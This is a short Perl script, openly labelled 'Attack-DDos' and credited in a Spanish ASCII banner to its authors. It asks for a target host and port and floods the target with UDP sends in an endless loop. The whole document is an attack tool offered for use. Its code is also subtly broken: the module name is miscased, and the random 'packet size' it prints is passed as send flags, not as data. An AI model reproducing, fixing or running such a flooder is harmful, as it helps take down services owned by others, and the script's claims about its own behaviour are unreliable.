#; [Perl] Attack-Ddos

#!/usr/bin/perl
print q(
##############################################################
#          __  __          __                         __     #
#         / / / /___  ____/ /__  ______________  ____/ /__   #
#        / / / / __ \/ __  / _ \/ ___/ ___/ __ \/ __  / _ \  #
#       / /_/ / / / / /_/ /  __/ /  / /__/ /_/ / /_/ /  __/  #
#       \____/_/ /_/\__,_/\___/_/   \___/\____/\__,_/\___/   #
#	                                                     #
#                 -------------------------------            #
#                        -  Attack-DDos  -                   #
#                 -------------------------------            #
#        Creado Por #;Ka]R[oL;X y -|[Xx-Ma[y]kO-xX]|-        #
##############################################################
);

use io::socket;

print "Host: ";
chop ($host = <stdin>);
print "Port: ";
chop ($port = <stdin>);

{
$sock = IO::Socket::INET->new (
PeerAddr => $host,
PeerPort => $port,
Proto => 'udp') || die "$! Error! ha introducido algun dato incorrecto, vuelva a intentarlo";
}
packets:
while (1) {
$size = rand() * 30000000000000 * 30000000;
print ("$host:$port Packet size: $size\n");
send($sock, 0, $size);
}